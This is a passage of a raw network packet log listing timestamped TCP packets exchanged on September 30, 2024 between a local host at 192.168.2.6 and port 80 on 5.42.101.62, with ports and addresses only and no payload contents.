Sep 30, 2024 13:59:23.905549049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905553102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905570984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.905587912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905596018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.905622959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919459105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919490099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919504881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919521093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919560909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919573069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919588089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919603109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919610023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919617891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919641018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919662952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919662952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919677019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919686079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919692039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919699907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919747114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919759035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919773102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919787884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919795990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919821024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919852018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919866085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919879913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919887066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919907093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919914961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919920921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919935942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919941902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919950962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919971943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919974089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.919986010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919994116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.919996977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920001030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920007944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920022964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920054913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920092106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920123100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920135975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920150042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920160055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920162916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920176983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920183897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920206070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920214891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920226097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920231104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920241117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920253992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920264006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920274019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920285940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920300007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920300007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920315027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920324087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920327902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920345068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920353889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920358896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920396090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920408010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920442104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920448065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920459986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920475006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920485020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920501947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920520067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920525074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920538902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920552969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920562029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920574903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920591116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920706034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920732021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920742989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920746088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920759916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920773029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920773983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920788050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920789957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920803070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920808077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920816898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920831919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920845985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920849085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920849085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920866013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920882940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920896053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920898914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920917034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920917034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920932055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920939922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920944929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920958042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.920958996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920973063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920988083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.920993090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921000957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921014071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921015978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921029091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921030045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921058893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921077967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921083927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921092033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921107054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921116114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921122074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921134949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921144009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921195030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921439886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921454906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921469927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921479940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921482086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.921497107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.921515942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.995933056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.995995045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996009111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996026993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996095896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996114969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996117115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996117115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996129990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996139050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996167898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996208906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996222973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996238947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996248007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996253967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996272087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996350050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996365070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996377945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996377945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996401072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996402025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996402025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996413946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996417046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996428967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996433020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996443033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996454000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996457100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996470928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996478081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996493101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996501923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996501923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996506929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996510029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996530056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996531010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996545076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996546030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996561050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996576071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996581078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996591091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996594906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996609926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996629953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996658087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996659994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996674061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996689081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996696949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996705055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996718884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996723890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996731997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996738911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996747971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996773005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.996776104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996789932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.996815920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.010978937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011029005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011128902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011143923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011166096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011198044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011287928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011302948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011317015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011329889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011346102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011368036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011369944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011382103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011406898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011424065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011425018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011435032 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011435986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011445045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011451006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011464119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011466980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011476994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011478901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011506081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011512041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011533022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011540890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011548042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011562109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011570930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011579037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011590958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011599064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011605978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011627913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011651039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011677027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011693001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011707067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011713982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011722088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011730909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011737108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011753082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011768103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011768103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011778116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011784077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011806965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011822939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011846066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011861086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.011885881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011903048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.011992931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012007952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012021065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012032032 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012036085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012049913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012057066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012067080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012098074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012164116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012180090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012191057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012200117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012204885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012217045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012218952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012233973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012234926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012245893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012248993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012264013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012265921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012291908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012324095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012336016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012337923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012352943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012362957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012375116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012381077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012398005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012419939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012470961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012485027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012497902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012509108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012512922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012523890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012527943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012547016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012568951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012604952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012619972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012634039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012641907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012648106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012660980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012666941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012675047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012689114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012691021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012701988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012717962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012748003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012754917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012793064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012923002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012938023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012950897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012963057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.012965918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.012980938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013008118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013087988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013101101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013113976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013125896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013127089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013139963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013143063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013155937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.013161898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.013171911 CEST	49721	80	192.168.2.6	5.42.101.62
